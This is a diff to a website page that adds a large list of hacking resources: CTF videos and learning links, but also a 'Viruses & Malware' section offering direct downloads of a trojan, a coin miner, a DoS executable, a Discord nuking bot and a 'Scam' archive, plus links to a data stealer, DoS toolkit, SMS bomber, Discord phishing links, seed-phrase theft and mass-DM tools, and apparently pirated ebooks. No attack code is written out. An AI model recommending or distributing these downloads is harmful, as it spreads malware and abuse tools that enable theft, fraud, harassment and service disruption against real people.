+                  <a href="/media/files/MOOCs_Courses_Download_Access_To_500_Courses.txt">MOOC Courses</a><br>
+                  <a href="https://cheat.sh">Cheat.sh Repos</a><br>
+                  <a href="https://thehackerdev.com/windows-api-function-naming-convention">Windows API Function Naming Convention</a><br>
+                  <a href="https://www.youtube.com/watch?v=5g137gsB9Wk">File Path Race Condition & How To Prevent It - bin 0x31 (LiveOverflow)</a><br>
+                  <a href="http://www.insecam.org">InSeCam</a><br>
+                  <a href="https://tools.intigriti.io/redirector/">Open Redirector/SSRF Payload Generator</a><br>
+                  <a href="https://uops.info/table.html">CPU/IP Table</a><br>
+                  <a href="https://journal.opendataplayground.com/cyberhack-2023/">CyberHack 2023</a><br>
+                  <a href="https://gtfobins.github.io/">List of UNIX Binaries for Priv Escalation</a><br>
+                  <a href="https://pwk.hide01.ir/">Linux & Bash Hacking</a><br>
+                  <a href="https://gchq.github.io/CyberChef/">CyberChef</a><br>
+                  <a href="https://app.any.run/">Hacking Stats</a><br>
+                  <a href="https://pastebin.com">PasteBin</a><br>
+                  <a href="https://pastebin.com/pApryWbx">Hijack URLS</a><br>
+                  <a href="https://spidersuite.github.io">Developing CyberSecurity Solutions</a><br>
+                  <a href="https://zer1t0.gitlab.io/posts/attacking_ad/">Attacking Ad</a><br>
+                  <a href="https://cyber.bgu.ac.il/new-malware-jumps-air-gapped-devices-by-turning-power-supplies-into-speakers/">Power Supplies to Speakers</a><br>
+                  <a href="https://cyber.bgu.ac.il/advanced-cyber/airgap">AirGap</a><br>
+                  <a href="https://fccid.io/">FCC ID Database</a><br>
+                  <a href="https://sploitus.com">Sploitus</a><br>
+                  <a href="https://reddit.com/r/netsec">r/netsec</a><br>
+                  <a href="https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list">OSINT start.me 1</a><br>
+                  <a href="https://start.me/p/L1rEYQ/osint4all">OSINT start.me 2</a><br>
+                  <a href="https://youtu.be/S9JGmA5_unY">How Secure is 256-bit Security?</a><br>
+                  <a href="https://youtu.be/nFZm4sVsPXk?si=7J_GzfZe-UOqic4b">TailOS Setup</a><br>
+                  <a href="https://youtu.be/PbVaagSWzgM">Hijacking account with Open Redirect in OAuth 2.0 - Stealing Access Tokens</a><br>
+                  <a href="https://youtu.be/09hrHtBLVeA">Discovering API and Analyzing Endpoints Using Postman and Browser w/ crAPI</a><br>
+                  <a href="https://youtu.be/Op6QvVMj4fw">Exploiting SQL Injection in GraphQL</a><br>
+                  <a href="https://www.youtube.com/watch?v=JbEPJv7Ybcs">Learn before CyberSecurity</a><br>
+                  <a href="https://www.youtube.com/watch?v=Mt4PYoyiqB0">Tips before CyberSecurity</a><br>
+                  <a href="https://youtu.be/In-XF5sY1Yo">Graphql Endpoint Analysis</a><br>
+                  <a href="https://youtube.com/playlist?list=PL4wZd4YK_64FeEvmdSkORNRLrgS5DavgT">WireShark Videos</a><br>
+                  <a href="https://anonfiles.com/eby53a7by7/Dhop.py">Win10 VM Rat</a><br>
+                  <a href="/media/files/SPOILER_VirusShare_00e8704830ff0331d16f7d392b2efcbd.zip">Analyzing Data 1</a><br>
+                  <a href="/media/files/SPOILER_VirusShare_00ee48b8a32ce81fd8ebfc33cf36d9c2.zip">Analyzing Data 2</a><br>
+                  <a href="/media/files/SPOILER_VirusShare_b4027a690167090b8c9eb5bc4a507742.zip">Analyzing Data 3</a>
                 </p>
-              </div>
-            </Fragment>
-          </Scrollspy>
+                <Accordion parent="hackingresourcesAccordion">
+                  <Fragment slot="accordion-content">
+                    <AccordionItem title="Network Attack" id="networkattack" parent="hackingresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Network Attack</h4>
+                        <p>
+                          <a href="https://crypto.stanford.edu/cs155old/cs155-spring11/lectures/08-tcp-dns.pdf">Stanford</a><br>
+                          <a href="https://www.cl.cam.ac.uk/~rja14/Papers/SEv2-c21.pdf">Cambridge</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Network Fundamentals" id="networkfundamentals" parent="hackingresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Network Fundamentals</h4>
+                        <p>
+                          <a href="https://www.youtube.com/playlist?list=PLIFyRwBY_4bRLmKfP1KnZA6rZbRHtxmXi">Old-Fashioned</a><br>
+                          <a href="https://www.youtube.com/playlist?list=PLDQaRcbiSnqF5U8ffMgZzS7fq1rHUI3Q8">Modern</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Obfuscating Programs" id="obfuscatingpro" parent="hackingresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Obfuscating Programs</h4>
+                        <p>
+                          <a href="https://crates.io/crates/secmem-proc">Process Hardening</a><br>
+                          <a href="https://crates.io/crates/debugoff">Debug Off</a><br>
+                          <a href="https://crates.io/crates/goldberg">GoldBerg</a><br>
+                          <a href="https://crates.io/crates/cryptify">Cryptify</a><br>
+                          <a href="https://crates.io/crates/encrust">Mem Encrytion</a><br>
+                          <a href="https://crates.io/crates/stronghold-runtime">Stronghold-Runtime</a><br>
+                          <a href="https://crates.io/crates/Hela">Hela</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="CTF/RE Resources & Challenges" id="ctfreresources" parent="hackingresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>CTF/RE Resources & Challenges</h4>
+                        <p>
+                          <a href="https://411hall.github.io/assets/files/CTF_template.ctb">CherryTree Template for CTF Enumeration</a><br>
+                          <a href="https://ctf101.org/">CTF Compact Guide</a><br>
+                          <a href="https://ctftime.org/">CTF Events</a><br>
+                          <a href="https://ctftime.org/ctf-wtf/">CTF Learning 1</a><br>
+                          <a href="http://ctflearn.com/">CTF Learning 2</a><br>
+                          <a href="http://captf.com/practice-ctf/">CTF Challenges</a><br>
+                          <a href="https://reverse.put.as/crackmes/">Reverse Engineering</a><br>
+                          <a href="https://challenges.re/">RE Challenges</a><br>
+                          <a href="https://breachdirectory.tk">RE BreachDirectory</a><br>
+                          <a href="http://pwnable.tw/">pwnable.tr</a><br>
+                          <a href="http://reversing.kr/">Challenge 1</a><br>
+                          <a href="https://w3challs.com/">Challenge 2</a><br>
+                          <a href="https://pwn0.com">Challenge 3</a><br>
+                          <a href="https://w3challs.com/">Challenge 4</a><br>
+                          <a href="https://io.netgarage.org/">Challenge 5</a><br>
+                          <a href="http://ringzer0team.com/">Challenge 6</a><br>
+                          <a href="http://www.hellboundhackers.org/">Challenge 7</a><br>
+                          <a href="http://www.overthewire.org/wargames/">Challenge 8</a><br>
+                          <a href="http://counterhack.net/Counter_Hack/Challenges.html">Challenge 9</a><br>
+                          <a href="http://www.hackthissite.org/">Challenge 10</a><br>
+                          <a href="http://vulnhub.com/">Challenge 11</a><br>
+                          <a href="http://ctf.komodosec.com">Challenge 12</a><br>
+                          <a href="https://maxkersten.nl/binary-analysis-course/">Challenge 13</a><br>
+                          <a href="https://pwnadventure.com">Challenge 14</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="GitHub Resources" id="githubresources" parent="hackingresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>GitHub Resources</h4>
+                        <p>
+                          <a href="https://github.com/SkyPenguin-Solutions/SkyLine">CyberSecurity Programming Language</a><br>
+                          <a href="https://github.com/bmullan/CIAB.Full-Mesh.VPN.Wireguard.FRR.BGP.VXLAN.Internet.Overlay.Architecture">Cloud In A Box (CIAB)</a><br>
+                          <a href="https://github.com/LimerBoy/Impulse">Impulse (DoS Toolkit)</a><br>
+                          <a href="https://github.com/oracio-tech/doenerium">Data Stealer</a><br>
+                          <a href="https://github.com/lukasbalazik123/mantua">AntiDebug, AntiVM, AntiAV C Linux Library</a><br>
+                          <a href="https://github.com/eric-therond/webunpack">Vulnerable Module Detector</a><br>
+                          <a href="https://github.com/ffuf/ffuf">Web Fuzzer (Go)</a><br>
+                          <a href="https://github.com/freddiebarrsmith/Buffer-Overflow-Exploit-Development-Practice">OSCP Training</a><br>
+                          <a href="https://github.com/OlivierLaflamme/Cheatsheet-God">OSCP/PTP/PTX Cheatsheet</a><br>
+                          <a href="https://github.com/CorentinJ/Real-Time-Voice-Cloning">Voice Cloning</a><br>
+                          <a href="https://github.com/uppusaikiran/awesome-cctf-cheatsheet">CTF Cheatsheet</a><br>
+                          <a href="https://github.com/Voorivex/pentest-guide">Pentest Guide</a><br>
+                          <a href="https://github.com/sctreaak/keyhacks">KeyHacks</a><br>
+                          <a href="https://github.com/TomNomNom">TomNomNom</a><br>
+                          <a href="https://github.com/swisskyrepo/PayloadsAllTheThings">Payloading</a><br>
+                          <a href="https://github.com/bee-san/pyWhat">pyWhat</a><br>
+                          <a href="https://github.com/martinmarinov/TempestSDR">TempestSDR</a><br>
+                          <a href="https://github.com/SaumyajeetDas/GodGenesis">GodGenesis</a><br>
+                          <a href="https://github.com/rly0nheart/osinteye">OSINTeye</a><br>
+                          <a href="https://github.com/r4wd3r/Suborner">Suborner</a><br>
+                          <a href="https://github.com/whoami15/FBI-Tools">FBI Tools</a><br>
+                          <a href="https://github.com/secgroundzero/CS-Aggressor-Scripts">Aggressor Scripts 1</a><br>
+                          <a href="https://github.com/Und3rf10w/Aggressor-scripts">Aggressor Scripts 2</a><br>
+                          <a href="https://github.com/harleyQu1nn/AggressorScripts">Aggressor Scripts 3</a><br>
+                          <a href="https://github.com/rasta-mouse/Aggressor-Script">Aggressor Scripts 4</a><br>
+                          <a href="https://github.com/RhinoSecurityLabs/Aggressor-Scripts">Aggressor Scripts 5</a><br>
+                          <a href="https://github.com/bluscreenofjeff/AggressorScripts">Aggressor Scripts 6</a><br>
+                          <a href="https://github.com/001SPARTaN/aggressor_scripts">Aggressor Scripts 7</a><br>
+                          <a href="https://github.com/360-A-Team/CobaltStrike-Toolset">CobaltStrike Toolset for Aggressor Scripts</a><br>
+                          <a href="https://github.com/Hacking-the-Cloud/htc-ctfs/tree/main/aws/cicdont">CICDont</a><br>
+                          <a href="https://hackingthe.cloud/aws/capture_the_flag/cicdont/">CICDont Capture the Flag</a><br>
+                          <a href="https://github.com/b1-team/superma">Superma</a><br>
+                          <a href="https://github.com/3nock/SpiderSuite">SpiderSuite</a><br>
+                          <a href="https://github.com/struppigel/PortexAnalyzerGUI">Portex Analyzer GUI</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Medium Resources" id="mediumresources" parent="hackingresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Medium Resources</h4>
+                        <p>
+                          <a href="https://medium.com/@rickarentsen/rock-paper-scissors-game-made-with-tkinter-with-python-e4003f697e0c">Rock Paper Scissors (Python Tutorial)</a><br>
+                          <a href="https://medium.com/@rickarentsen/5-interesting-facts-about-the-internet-b78b656f1a63 feedback is appreciated">5 Internet Facts</a><br>
+                          <a href="https://medium.com/@viveik.chauhan/blind-remote-code-execution-b9c4e119f7c3">Blind Remote Code Execution</a><br>
+                          <a href="https://medium.com/@dmxinajeansuit/elf-binary-mangling-part-1-concepts-e00cb1352301">Elf Binary Mangling (Part 1)</a><br>
+                          <a href="https://medium.com/@dmxinajeansuit/elf-binary-mangling-pt-2-golfin-7e5c82bb482c">Elf Binary Mangling (Part 2)</a><br>
+                          <a href="https://medium.com/@dmxinajeansuit/elf-binary-mangling-part-3-weaponization-6e11971108b3">Elf Binary Mangling (Part 3)</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="Almond Force Videos" id="almondforce" parent="hackingresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>Almond Force Videos</h4>
+                        <p>
+                          <a href="https://www.youtube.com/watch?v=LNnVlwWDe-M&list=PLUrAjkLbvTpJmHslr1BljYnm5Lnuug9jF">BCACTF 3</a><br>
+                          <a href="https://www.youtube.com/watch?v=I7ugaarsN9M&list=PLUrAjkLbvTpKw5ZC-jryJI6wQpHvH_naE">HeroCTF v4</a><br>
+                          <a href="https://www.youtube.com/watch?v=0dXv4mgFvEo&list=PLUrAjkLbvTpJvQddU6MZooARtnKtcI6Li">Incognito 3</a><br>
+                          <a href="https://www.youtube.com/watch?v=A9ACD-DGM2U&list=PLUrAjkLbvTpKNt1wDghHXqWGrt7p3nFfP">MidnightFlag - INFEKTION</a><br>
+                          <a href="https://www.youtube.com/watch?v=YljnMU6iswU&list=PLUrAjkLbvTpIID1I8sdwwe4fgFJOZCGhV">Hacky Holidays 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=4UzHNuhTJbs&list=PLUrAjkLbvTpLJGPdxueL5uRvUVwmr4SnY">Hack the Boo 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=j1CYn74wCXU&list=PLUrAjkLbvTpJK0qbXAE7H73H8WkY26OwD">CTF After Dark - Fall 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=TKFgnuftyrs&list=PLUrAjkLbvTpKOlxddIlVkOBvydnEw7qVS">Digital Overdose 2022 Autumn CTF</a><br>
+                          <a href="https://www.youtube.com/watch?v=kYcEAeek_Wk&list=PLUrAjkLbvTpIQLKVQHi1XJBGaBp6UAjQM">DEADFACE CTF 2022</a><br>
+                          <a href="https://m.youtube.com/watch?v=BjtVkYRhCHU&list=PLUrAjkLbvTpKN8YKY6ZBEag_EAOGBa9jQ">HTB Business CTF</a><br>
+                          <a href="https://www.youtube.com/watch?v=K1dOFkvOjiA&list=PLUrAjkLbvTpJ10Wol8D8HQM7oq6mOtUBP">Tenable CTF 2022</a><br>
+                          <a href="https://youtu.be/wOLkE6HyKqY">TyphoonCon CTF 2022 (KeyGenMe)</a><br>
+                          <a href="https://www.youtube.com/watch?v=ppvNiujCtlo&list=PLUrAjkLbvTpK_2XGiUTkrRvUhr1kVlZak">Cyber Apocalypse 2022 (HackTheBox)</a><br>
+                          <a href="https://www.youtube.com/watch?v=bDEXY_MY_Wk&feature=youtu.be">Hack The Box - Starting Point (Tier 0): Fawn</a><br>
+                          <a href="https://www.youtube.com/watch?v=yt_jfx4D1gY">Hack The Box - Starting Point (Tier 0): Meow & Almond Force Channel Updates</a><br>
+                          <a href="https://www.youtube.com/watch?v=7Ln4Ga8WBG8">HackTheBox Marshal in the Middle</a><br>
+                          <a href="https://www.youtube.com/watch?v=n4RK09OZbAw&list=PLUrAjkLbvTpLUHxP0zFq7kwRqs4NZIFvW">11 HackTheBox Videos</a><br>
+                          <a href="https://www.youtube.com/watch?v=w8MJitt3irc&list=PLUrAjkLbvTpLtLloI8Pqk1P3n8p1sCRw2">TJCTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=nSAJmtLbD-k&list=PLUrAjkLbvTpLT35eSB5anERpDAx2ogSCJangstrom">BYU CTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=lI4gpyz09PE&list=PLUrAjkLbvTpJoJ5mVa0lf_UtoSetcwylu">Digital Overdose CTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=-MdxtbXvDGI&list=PLUrAjkLbvTpLnJzdh8v4ONJI4TE14hhkq">NahamCon CTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=BpX0TwnDTQY&list=PLUrAjkLbvTpI6p83T4HEx8rc3RBMuYw10">Boilers CTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=0SnelTGKfDM&list=PLUrAjkLbvTpJgi2wc03ElMfgk9iAv7vSd">PatriotCTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=9uxuPygnEwk&list=PLUrAjkLbvTpIX9ZMshTxR3cJyW_kkOFIg">TAMUctf 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=UbAaLQz38T4&list=PLUrAjkLbvTpKnj4AARb4MeBb3hjOjF6BN">picoCTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=yeGdAOd4mEw&list=PLUrAjkLbvTpKS3VsD_G6GOD648aaYj46l">Metared CTF 2022 Stage 1</a><br>
+                          <a href="https://www.youtube.com/watch?v=cEhL-N6fPfs&list=PLUrAjkLbvTpLEz-ZjJDSNmUyD8apzG16m">Metared CTF 2022 Stage 2</a><br>
+                          <a href="https://youtu.be/crz0VYlV1eg">Metared CTF 2022 Stage 3</a><br>
+                          <a href="https://youtu.be/Y05VYgaVzz0">Metared CTF 2022 Stage 4</a><br>
+                          <a href="https://www.youtube.com/watch?v=lFNXm-hj53c&list=PLUrAjkLbvTpIkDrQ4zC2Hc9QUVl6xAe4s">Blackhat MEA CTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=J6Zyn7B3FS0">WRECKCTF2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=6pMl2EB7Y7A&list=PLUrAjkLbvTpLIMsikAb4WY0wQPlaZ9jpo">DownUnderCTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=0KEj7GNXfQ8&list=PLUrAjkLbvTpJMEg0f8qDzWJpTOfm1i41B">CSAW CTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=_nriNzpVrgQ&list=PLUrAjkLbvTpI4BFDBOFZnMr7Z61y0Ejvs">Inter-Galactic CTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=fIcuIE1C-FY&list=PLUrAjkLbvTpIcQaDPx4sOGOUca4IpWLDI">SHELL CTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=o2b33EMBM5w">Whack-a-frog corCTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=PmBTMNqUTys&list=PLUrAjkLbvTpK4ixlkQxZDrsj9mASlz26N">T3N4CI0US CTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=6OANStAZEss&list=PLUrAjkLbvTpIOn4XCn7F9V5SXMXve766b">TFC CTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=_w5qd0Rh9sg">MITRE Cyber Academy CTF 2022</a><br>
+                          <a href="https://www.youtube.com/watch?v=j8CVLGuNlwk&list=PLUrAjkLbvTpKbRFTCCxpqtCYVh3cfo0-v">picoCTF 2023</a><br>
+                          <a href="https://www.youtube.com/watch?v=pbdC-POk-XU&list=PLUrAjkLbvTpKBgf4uRsc2JWhs8OZeswah">Cyber Apocalypse 2023</a><br>
+                          <a href="https://www.youtube.com/watch?v=6S0v8lIk9oA">CTFGuide to CyberChef</a><br>
+                          <a href="https://www.youtube.com/watch?v=zH7GwcaCktA">Are Certs Worth It?</a><br>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                  </Fragment>
+                </Accordion>
+              </Fragment>
+            </AccordionItem>
+            <AccordionItem title="Downloadable Resources" id="downloadableresources" parent="resourcesAccordion">
+              <Fragment slot="accordion-item-content">
+                <h3>Downloadable Resources</h3>
+                <div class="my-1">
+                  <h4>Windows Kernel Programming</h4>
+                  <a class="btn btn-primary" href="/media/files/Windows_Kernel_Programming_-_PDF_Room.pdf">View</a>
+                </div>
+                <hr>
+                <div class="my-1">
+                  <h4>Practical IoT Accessing</h4>
+                  <a class="btn btn-primary" href="/media/files/Practical_IoT_Hacking.pdf">View</a>
+                </div>
+                <hr>
+                <div class="my-1">
+                  <h4>Black Hat w/ Python</h4>
+                  <a class="btn btn-primary" href="/media/files/Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters.pdf">View</a>
+                </div>
+                <hr>
+                <div class="my-1">
+                  <h4>DoD for CyberSecurity</h4>
+                  <a class="btn btn-primary" href="https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF">View</a>
+                </div>
+                <hr>
+                <div class="my-1">
+                  <h4>Race Conditions for Web Pentesting</h4>
+                  <a class="btn btn-primary" href="https://book.hacktricks.xyz/pentesting-web/race-condition">View</a>
+                </div>
+                <hr>
+                <div class="my-1">
+                  <h4>Digital Systems (10th Edition PDF)</h4>
+                  <div class="d-sm-flex gap-2">
+                    <a class="btn btn-primary" href="https://doc.lagout.org/electronics/Digital%20Systems%20Principles%20And%20Applications%20%20%5Bby%20Ronald%20Tocci%5D.pdf">View</a>
+                    <a class="btn btn-secondary" href="https://doc.lagout.org">doc.lagout.org</a>
+                  </div>
+                </div>
+                <hr>
+                <div class="my-1">
+                  <h4>Clean Architecture: Structuring your Applications for Minimal Effort & Maximal Result.</h4>
+                  <a class="btn btn-primary" href="/media/pdf/clean-architecture-a-craftsmans-guide-to-software-structure-and-design_compress.pdf">View</a>
+                </div>
+                <hr>
+                <div class="my-1">
+                  <h3>Free coding books!</h3>
+                  <a class="btn btn-primary" href="https://books.goalkicker.com/">View</a>
+                </div>
+                <hr>
+                <div class="my-1">
+                  <h4>1,000 I.T books!</h4>
+                  <a class="btn btn-primary" href="https://drive.google.com/drive/folders/1F7D5c30nP-y_Q7SFqoRTRvJ7tl0UcY3q">View</a>
+                </div>
+                <hr>
+                <div class="my-1">
+                  <h4>Over 8M+ eBooks!</h4>
+                  <a class="btn btn-primary" href="https://z-lib.io/">View</a>
+                </div>
+              </Fragment>
+            </AccordionItem>
+          </Fragment>
+        </Accordion>
+      </div>
+      <hr>
+      <div id="files">
+        <h2> Viruses &amp; Malware </h2>
+        <p>
+          <a href="/media/files/Meme_Coin.ZIP" download>Meme_Coin (ZIP)</a>
+          <a href="/media/files/Meme_coin_miner.exe" download>Meme_Coin (EXE)</a>
+          <a href="/media/files/My_App.zip" download>My_App (ZIP)</a>
+          <a href="/media/files/Myballzhert.zip" download>Myballzhert (ZIP)</a> by Dream3456789 (Password: "mysubsarethebest")
+        </p>
+        <p>
+          <a href="/media/files/Trojan_Spyer.exe" download>Trojan_Spyer (EXE)</a> by MagSam2
+        </p>
+        <p>
+          <a href="/media/files/Nuking-Discord-Server-Bot-Nuke-Bot-master.zip" download>Nuking Discord Bot (ZIP)</a>
+        </p>
+        <p>
+          <a href="/media/files/Scammed.zip" download>Scam (ZIP)</a> by the pfp is for nuking kpopserver
+        </p>
+        <p>
+          <a href="/media/files/BFF_DoS.exe" download>BFF_DoS (exe)</a>
+          <a href="/media/files/Code.txt" download>Code (TXT)</a>
+          <a href="/media/files/baby.bat" download>Baby (BAT)</a>
+          <a href="/media/files/BabyCodes.txt" download>BabyCodes (TXT)</a> by Corrupt Assassin
+        </p>
+      </div>
+      <hr>
+      <div id="code">
+        <h2> Code Samples </h2>
+        <p>
+          <a href="https://github.com/FordArthur/insitucs">Insitux Compiler</a>
+          <a href="https://github.com/FordArthur/chess-ix">Chess I (Insitux)</a>
+          <a href="/media/files/chess.ix" download>Chess II (Insitux)</a>
+          <a href="https://github.com/FordArthur/ballistics-ix">Ballstics I (Insitux)</a>
+          <a href="https://github.com/FordArthur/Insitux-math-libs">Math Libs for Insitux</a>
+          <a href="https://github.com/FordArthur/svelte-app">svelte-app</a>
+          <a href="/media/files/RosettaCode.ix" download>Rosetta Code (Insitux)</a>
+          <a href="/media/files/polinomic-solver.ix" download>Polinomic Solver (Insitux)</a>
+          <a href="/media/files/ambiguous-operator.ix" download>Ambiguous Operator (Insitux)</a>
+          <a href="/media/files/rockpaperscissors.ix" download>Rock Paper Scissors (Insitux)</a> by Al-Ford Arthur
+        </p>
+          <a href="/media/files/rockpaperscissors.py" download>Rock Paper Scissors (Python)</a> by Sezieru <p></p>
+        <p>
+          <a href="https://github.com/Savageboitim13/UMS-WF/">UMS-WF</a>
+          <a href="https://github.com/Savageboitim13/Principles-CSharp">Principles for C# &amp; Java</a> by venenjean
+        </p>
+        <p>
+          <a href="https://github.com/phunanon/ip3">IP3</a> by Patrick
+        </p>
+        <p>
+          <a href="https://github.com/JSman225/ROTL">ROTL</a> by JSman225
+        </p>
+        <p>
+          <a href="/media/files/test-OBFUSCATED.py" download>ISS Obfuscator (Python 3.9)</a> by vesper
+        </p>
+        <p>
+          <a href="/media/files/long_snakes_long_code_.py" download>Snake Game in One Line of Code (Python)</a> by ByThon
+        </p>
+        <p>
+          <a href="https://github.com/ProtDos/ScammerPayback">ScammerPayback</a>
+          <a href="/media/files/tic.py" download>Tic Tac Toe (Python)</a>
+          <a href="https://github.com/ProtDos/Flask-PayPal/archive/refs/heads/main.zip" download>Flask PayPal (Python | ZIP)</a>
+          <a href="/media/files/stress.py" download>Apache Stress Tester (Python)</a>
+          <a href="/media/files/bestree.py" download>bestree (Python)</a>
+          <a href="/media/files/protect.py" download>SSL Protection (Python)</a>
+          <a href="https://github.com/ProtDos/SeedPhraseHack/archive/refs/heads/main.zip" download>SeedPhraseHack (Python | ZIP)</a>
+          <a href="/media/files/checker.py" download>Domain Checker (Python)</a>
+          <a href="https://github.com/ProtDos/DiscordMassDM">Discord Mass DM</a> (<a href="https://github.com/ProtDos/DiscordMassDM/archive/refs/heads/main.zip">Python | ZIP</a>)
+        </p>
+        <p>
+          <a href="https://github.com/ProtDos/IP-Address-Generator-Checker">IP Address Generator Checker</a> (<a href="https://github.com/ProtDos/IP-Address-Generator-Checker/archive/refs/heads/main.zip">Python | ZIP</a>)
+        </p>
+        <p>
+          <a href="https://github.com/ProtDos/ClashOfClans-Wrapper">Clash of Clans Wrapper</a> (<a href="https://github.com/ProtDos/ClashOfClans-Wrapper/archive/refs/heads/main.zip">Python | ZIP</a>)
+        </p>
+        <p>
+          <a href="https://github.com/ProtDos/Crunch-PasswordGenerator/archive/refs/heads/main.zip" download>Crunch Password Generator (Python | ZIP)</a>
+          <a href="https://github.com/ProtDos/Mint">Mint (OSINT)</a> (<a href="https://github.com/ProtDos/Mint/archive/refs/heads/main.zip">Python | ZIP</a>)
+        </p>
+        <p>
+          <a href="https://github.com/ProtDos/WebcamSearch/archive/refs/heads/main.zip" download>Webcam Search (Python | ZIP)</a>
+          <a href="https://github.com/ProtDos/Discord-Token-Onliner">Discord Token Onliner</a> (<a href="https://github.com/ProtDos/Discord-Token-Onliner/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/boosint">boosint (OSINT)</a> (<a href="https://github.com/ProtDos/boosint/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/ntru">ntru</a> (<a href="https://github.com/ProtDos/ntru/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/pq-ntru">pq-ntru</a> (<a href="https://github.com/ProtDos/pq-ntru/archive/refs/heads/main.zip">Python | ZIP</a>) <a href="https://github.com/ProtDos/IP-Address-Generator-Checker">IP Address Generator Checker</a> by CodingLive
+        </p>
+        <h3>ncrypt.c by Sezieru</h3> This is a relatively simple example for using <code>crypt()</code> on Linux to generate Linux-compatible password hashes. This is useful for replacing a lost password hash, for example. <p>
+          <a href="/media/files/ncrypt.c" download>ncrypt.c Download</a>
+        </p>
+        <h3> Other OSINT Guides </h3>
+        <p><b>Use caution upon entering these links as they grab your personal information upon entering.</b></p>
+        <p>
+          <a href="https://github.com/ProtDos/VanishGuide">VanishGuide</a>
+          <a href="https://github.com/ProtDos/discord-phishing-links">Discord Phishing Links</a>
+          <a href="https://github.com/ProtDos/IP-Address-List">IP Address List</a> By CodingLive
+        </p>
+      </div>
+      <hr>
+      <div id="app">
+        <h2> Apps &amp; Software </h2>
+        <p>
+          <a href="/media/files/sms_bomb.apk" download>SMS Bomb (APK)</a> (<a href="/sms">Site</a>) by CodingLive
+        </p>
+        <h3>Veilo by CodingLive</h3>
+        <p>
+          <a href="https://veilo.protdos.com/download">Veilo</a>
+        </p>
+        <p>
+          <a href="/redirect/veilo">Veilo Download</a>
+        </p>
+        <h3>Encochat by CodingLive</h3>
+        <p>
+          <a href="https://github.com/ProtDos/encochat">Encochat v1</a>
+        </p>
+        <p>
+          <a href="https://github.com/ProtDos/PrivateChatOld">Encochat v2</a>
+        </p>
+        <p>
+          <a href="https://github.com/ProtDos/PrivateChat">Encochat v3</a>
+        </p>
+        <p>
+          <a href="https://app.protdos.com/">Encochat Website</a>
+        </p>
+        <p>
+          <a href="/redirect/encochat">Encochat Download</a>
+        </p>
+        <h3>vpnchecker by CodingLive</h3>
+        <p><b>Use caution upon entering these links as they grab your personal information upon entering.</b></p>
+        <p>
+          <a href="https://github.com/ProtDos/vpnchecker">vpnchecker</a> (<a href="https://github.com/ProtDos/vpnchecker/archive/refs/heads/main.zip">HTML | ZIP</a>)
+        </p>
+        <p>
+          <a href="https://protdos.github.io/vpnchecker">vpnchecker Website</a>
+        </p>
+      </div>
+      <hr>
+      <div id="py">
+        <h2> Python Basics </h2>
+        <div class="mb-3">
+          <a href="#pythonresources" target="_blank" rel="noreferrer noopener" class="btn btn-info">Python Resources</a>
         </div>
-        <hr>
-        <div id="sql">
-          <h2>SQL Basics</h2>
-          <Scrollspy id="sql-basics-list"
-        scrollcontent={[
-          { name: "Querying Data from a Tablem", href: "#query-9" },
-          { name: "Modifying Data", href: "#mod-9" },
-          { name: "Table Management", href: "#table-9" },
-        ]}
+        <Scrollspy id="py-basics-list" 
+          scrollcontent={[ 
+            { name: "Comments" , href: "#com-3" }, 
+            { name: "Data Types" , href: "#data-3" }, 
+            { name: "Strings" , href: "#str-3" }, 
+            { name: "Numbers" , href: "#num-3" }, 
+          ]}
         >
           <Fragment slot="scrollspy-content">
-            <div id="query-9">
-              <h4>Querying Data from a Table</h4>
-              <p>Query Data in Columns c1, c2 from a Table</p>
-              <code>
-              SELECT c1, c2 FROM t;<br>
-              Code language: SQL (Structured Query Language) (SQL)
-              </code><br><br>
-              <p>Query All Rows and Columns from a Table</p>
-              <code>SELECT * FROM t;</code><br><br>
-              <p>Query Data and Filter Rows with a Condition</p>
-              <code>
-              SELECT c1, c2 FROM t<br>
-              WHERE condition;
-              </code><br><br>
-              <p>Query Distinct Rows from a Table</p>
-              <code>
-              SELECT DISTINCT c1 FROM t<br>
-              WHERE condition;
-              </code><br><br>
